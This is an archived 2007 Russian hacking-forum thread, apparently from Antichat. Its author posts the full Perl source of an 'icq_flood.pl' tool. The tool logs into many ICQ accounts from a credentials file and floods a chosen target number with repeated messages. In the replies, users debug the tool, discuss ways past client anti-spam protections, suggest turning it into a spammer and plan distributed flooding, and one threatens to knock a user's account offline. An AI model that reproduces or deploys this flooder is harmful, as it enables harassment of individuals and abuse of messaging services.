Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   ICQ (https://forum.antichat.xyz/forumdisplay.php?f=13)
-   -   icq_flood.pl beta (https://forum.antichat.xyz/showthread.php?t=37047)

BuH@LicH 03.04.2007 02:04

icq_flood.pl beta
 
Isis посвящается. ;)

Кроссплатформенный, многопоточный icq flooder. Т.к. написан за 2 часа, возможны ошибки/баги. Если кто-то считает, что его необходимо доделать(и отпишется здесь), то я постараюсь сделать его лучшим в своём роде ;).
Код:

#!/usr/bin/perl
##################################
##  Script for icq flood
##  thx to CyberLords for sample
##################################
use IO::Socket;
use Thread;
use strict;

##### config #####
our $file = 'uins.txt'; # файл с записями вида uin;pass
our $flood = '22222208'; # кого флудим?
our $send_message='From Russia With Love :-p'; # текст сообщения
our $count = 100; # количество сообщений с одного уина
our $delay = 3; # максимальная задержка отправки сообщений
my $onlain = 5; # задержка между выходами уина в он-лайн(т.к. пока без прокси, маленьким ставить не советую)
##################
my (@threads, @strings);
my ($uin, $pass, $j, $sl);

open(F,$file);
@strings=<F> or die print "$! ";
close(F);
$sl = scalar @strings * $onlain;
for ($j=0; $j < scalar @strings; $j++)
{
 ($uin, $pass) = split(/;/, @strings[$j]);
 $threads[$j] = Thread->new(\&icq_flood, $uin, $pass, ($sl -= $onlain)) if (($uin) && ($pass));
 sleep($onlain);
}

for ($j=0; $j < scalar @strings; $j++){$threads[$j] -> join();}

sub icq_flood{
  my ($uin, $password, $sleep, $server, $port) = @_;
  $server = $server || "login.icq.com";
  $port = $port || 5190;
 
  my $client_id = "ICQBasic";
  my $socket = undef;
 
  my $i;
  my $answer_data; # ответ сервера
  my $auth_request; #посылаемый пакет

  my $FlAP_header; # заголовок FLAP пакета (сигнатура начала данных, номер канала, sequence number, длина данных)
  my $data; # данные пакета
  my $BOS_server_address; # ip основного сервера для работы с icq
  my $BOS_server_port; # порт сервера
  my $seq_num = int(rand(0xFFFF));
 
  $data= #(основнные данные)
        "\x00\x00\x00\x01". #версия протокола
        "\x00\x01".pack('n',length($uin)).$uin. #сигнатура уина, длина уина, уин
        "\x00\x02".pack('n',length($password)).xor_password($password). #то же для пароля
        "\x00\x03".pack('n',length($client_id)).$client_id. # то же для клиента
        "\x00\x16".pack('n',2).pack('n',266). # версии клиента: мажор, минор, билд и тд
        "\x00\x17".pack('n',2).pack('n',4). # -||-
        "\x00\x18".pack('n',2).pack('n',65). # -||-
        "\x00\x19".pack('n',2).pack('n',1). # -||-
        "\x00\x1A".pack('n',2).pack('n',3281). # -||-
        "\x00\x14".pack('n',4).pack('N',85). # -||-
        "\x00\x0F".pack('n',2)."en". # язык клиента
        "\x00\x0E".pack('n',2)."us"; # страна клмента

  $FlAP_header="\x2a\x01".pack('n',$seq_num++).pack('n',length($data));
  $auth_request=$FlAP_header.$data;
 
  socket(SOCK,AF_INET,SOCK_STREAM,getprotobyname('tcp')) or die "socket() failed: $!\n"; #создаём сокет
  connect(SOCK,sockaddr_in($port,inet_aton($server))) or return 0;
  SOCK->autoflush(1);
  sysread(SOCK,$answer_data,1024);
  print SOCK $auth_request;
  sysread(SOCK,$answer_data,1024);
  if ($answer_data !~/\x8e\x00/) {
                print "\n UIN $uin: Authorization error.\n";
        }
  close(SOCK);

  $answer_data =~/(\d*\.\d*\.\d*\.\d*)\:(\d*)/;
  $BOS_server_address = $1;
  $BOS_server_port = $2;

  undef $data;
  undef $FlAP_header;
 
  $data="\x00\x00\x00\x01\x00\x06".pack('n',256).get_cookies($answer_data);
  $seq_num = 0 if $seq_num > 65535;
  $FlAP_header="\x2a\x01".pack('n',$seq_num++).pack('n',length($data));
  $auth_request=$FlAP_header.$data;

  socket(SOCK,AF_INET,SOCK_STREAM,getprotobyname('tcp')) or die "socket() failed: $!\n";
  connect(SOCK,sockaddr_in($BOS_server_port,inet_aton($BOS_server_address))) or return 0;
  SOCK->autoflush(1);
  sysread(SOCK,$answer_data,1024);
  print SOCK $auth_request;
  sysread(SOCK,$answer_data,1024);
 
  undef $data;
  undef $FlAP_header;
 
  $data="\x00\x01\x00\x17".("\x00" x 7)."\x01\x00\x03\x00\x02\x00\x01\x00\x03\x00\x01\x00\x15\x00\x01\x00\x04\x00\x01\x00\x06\x00\x01\x00\x09\x00\x01\x00\x0a\x00\x01";
  $seq_num = 0 if $seq_num > 65535;
  $FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
  $auth_request=$FlAP_header.$data;
  print SOCK $auth_request;
  sysread(SOCK,$answer_data,1024);
 
  undef $data;
  undef $FlAP_header;

  $data="\x00\x01\x00\x06".("\x00" x 6);
  $seq_num = 0 if $seq_num > 65535;
  $FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
  $auth_request=$FlAP_header.$data;
  print SOCK $auth_request;
  sysread(SOCK,$answer_data,2048);

  undef $data;
  undef $FlAP_header;
 
  $data="\x00\x01\x00\x08".("\x00" x 7)."\x01\x00\x02\x00\x03\x00\x04\x00\x05";
  $seq_num = 0 if $seq_num > 65535;
  $FlAP_header="\x2a"."\x02".pack('n',$seq_num++).pack('n',length($data));
  $auth_request=$FlAP_header.$data;
  print SOCK $auth_request;

  undef $data;
  undef $FlAP_header;

  $data="\x00\x01\x00\x1e".("\x00" x 7)."\x06\x00\x04\x01\00\x00\x00";
  $seq_num = 0 if $seq_num > 65535;
  $FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
  $auth_request=$FlAP_header.$data;
  print SOCK $auth_request;
  sysread(SOCK,$answer_data,2048);
 
  undef $data;
  undef $FlAP_header;

  $data="\x00\x01\x00\x02".("\x00" x 7)."\x01\x00\x03\x01\x10\x02\x8a\x00\x02\x00\x01\x01\x01\x02\x8a\x00\x03\x00\x01\x01\x10\x02\x8a\x00\x15\x00\x01\x01\x10\x02\x8a\x00\x04\x00\x01\x01\x10\x02\x8a\x00\x06\x00\x01\x01\x10\x02\x8a\x00\x09\x00\x01\x01\x10\x02\x8a\x00\x0a\x00\x01\x01\x10\x02\x8a";
  $seq_num = 0 if $seq_num > 65535;
  $FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
  $auth_request=$FlAP_header.$data;
  print SOCK $auth_request;

  print "\n UIN: $uin ON-LINE.\n"; ### Эту строчку можно удалить :)
  sleep($sleep); # Если хотите чтобы флуд начинался сразу же, после выхода уина в он-лайн - закоментируйте данную строчку.
  for ($i=1; $i<$count; $i++)
  {        undef $data;
        undef $FlAP_header;

        my $part1="\x00\x04\x00\x06".("\x00" x 6)."\xe4\x70\x7c\xbf\x67\xfd\x91\x6f\x00\x02".pack("w",length($flood)).$flood."\x00\x05";
        my $part2="\x00\x00\xe4\x70\x7c\xbf\x67\xfd\x91\x6f\x09\x46\x13\x49\x4c\x7f\x11\xd1\x82\x22\x44\x45\x53\x54\x00\x00\x00\x0a\x00\x02\x00\x01\x00\x0f\x00\x00\x27\x11";
        my $part3="\x1b\x00\x07".("\x00" x 19)."\x03".("\x00" x 4)."\xe9\xff\x0e\x00\xe9\xff".("\x00" x 12)."\x01\x00\x00\x00\x01\x00".pack("v",length("$send_message\0"))."$send_message\x00".("\x00" x 4)."\xff\xff\xff\x00";
        $data=$part1.pack('n',length($part2.$part3)+2).$part2.pack('n',length($part3)).$part3; # составляем данные, подставляя все TLV размеры
        $data.="\x00\x03\x00\x00";
        $seq_num = 0 if $seq_num > 65535;
        $FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
        $auth_request=$FlAP_header.$data;
       
    print SOCK $auth_request;
        sysread(SOCK,$answer_data,2048);
        sleep(int(rand($delay)));
  }
}

sub xor_password() {
        my ($password)=@_;
        my @password_xor=("\xF3", "\x26", "\x81", "\xC4", "\x39", "\x86","\xDB", "\x92", "\x71", "\xA3", "\xB9", "\xE6", "\x53", "\x7A", "\x95","\x7C");
        my $xored_password;
        my $i=0;

        foreach(split(//,$password)) {
                $xored_password.=$_ ^ $password_xor[$i++];
                $i=0 if $i eq @password_xor;
        }
return $xored_password;
}

sub get_cookies() {
        my ($data)=@_;
        my $cookies;
        my $i=0;
        my $c=0;
        foreach(split(//,$data)) {
                $i=1 if($c eq "\x00" && $_ eq "\x06");
                $cookies.=$_ if $i eq 1;
                $c=$_;
        }
return substr($cookies,3,length($cookies));
}
##################################
## (C)oded by BuH@LicH
##  just4fun...
##################################

ToDo:
- Поддержку Http/Socks прокси
- Возможность отправки сообщений авторизации
- Админку для распределённого флуда

P.S. Спасибо System за оценку кода и указание на ошибки.

Isis 03.04.2007 08:11

Сначала доделай свой список ToDo , а потом выкладывай =\
И еще......
Если хоть от одного человека я увижу
PHP код:

our $flood '22222208'# кого флудим? 

, то прощайся со своей ацкой.....её будет жестоко выбивать :)

Woldemar 03.04.2007 11:11

Бугага ну ты выдал.... сам то тестил что то не хоц нармана работать +1 предыдущему

BuH@LicH 03.04.2007 12:34

Цитата:

Сначала доделай свой список ToDo , а потом выкладывай =\
Давайте я буду решать что мне делать, ок?)
Цитата:

её будет жестоко выбивать
Боюсь, боюсь, боюсь... ;)
Цитата:

сам то тестил
Да, конечно. Флудер работает.
Цитата:

что то не хоц нармана работать
Проблема у Вас. Если Вы смотрели код, то должны были догадаться, что флудер сначала выводит все уины онлайн, а только потом начинает флудить.
Если хотите, чтобы флуд начинался сразу же после выхода каждого уина в онлайн, удалите из кода:sleep($sleep);

gemaglabin 03.04.2007 13:19

Первый нормальный екземпл где сразу после CLI_COOKIE не идет CLI_READY , респект )

Digimortal 03.04.2007 14:35

сделай чтоб номер и параметры можно было указывать как аргументы при запуске..

>> undef $data;
>> undef $FlAP_header;

а зачем это?

>> Админку для распределённого флуда

имхо это лишнее для подобного скриптика ) ..вот если станешь его под спамер переделывать, тогда админка не помешает..

и выложи его лучше в виде аттача, ато форум покромсал скриптег немного..

BuH@LicH 03.04.2007 15:15

Цитата:

Сообщение от gemaglabin
респект )

Спасибо :)
Цитата:

Сообщение от Digimortal
сделай чтоб номер и параметры можно было указывать как аргументы при запуске..

Хорошо. ;)
Цитата:

Сообщение от Digimortal
форум покромсал скриптег немного..

Спасибо большое! Я и не заметил. Возможно из-за этого он и не работал у кого-то.
Скачать можно тут: http://icq-floof123.narod.ru/icq.pl

Digimortal 03.04.2007 15:54

>> Возможно из-за этого он и не работал у кого-то.

а может и потому, что он не флудит на &rc, к примеру..

прикольней можно сделать, чтоб, например, фразы для флуда разные выбирались..

BuH@LicH 03.04.2007 16:41

Цитата:

на &rc, к примеру..
Квиповский и крысовский(&rc - имелось ввиду &rQ ?) антиспам не удалось пока вынести этим флудером. :( Сейчас разбираюсь как старые флудеры выносили уины с антиспамом. &rQ без антиспама вылетает, только что протестил.

Пока посплю схожу, вечерком гляну ещё разок ;)

Isis 03.04.2007 17:02

BuH@LicH, скажи свой номер icq или напиши мне

Digimortal 03.04.2007 17:10

>> &rc - имелось ввиду &rQ ?

угу )

ток у меня наооборот вышло: в &rq ниче не приходило (антиспам-опции не активированы даже), а в квипе (уже старый билд) приходят сообщения..

x-treem 03.04.2007 17:54

мля, дык это переделаный бот.
старый очень. ты дажо переменные не менял)))

BuH@LicH 03.04.2007 18:06

Цитата:

мля, дык это переделаный бот.
Дык да :)
## thx to CyberLords for sample.
http://www.cyberlords.net/releases/cl_icq.txt и некоторые отрывки кодов были из различных *.pm.

x-treem 03.04.2007 18:13

Их симпл авторизация мне тоже очень что - то напоминает... ток не могу вспомнить что


Время: 10:57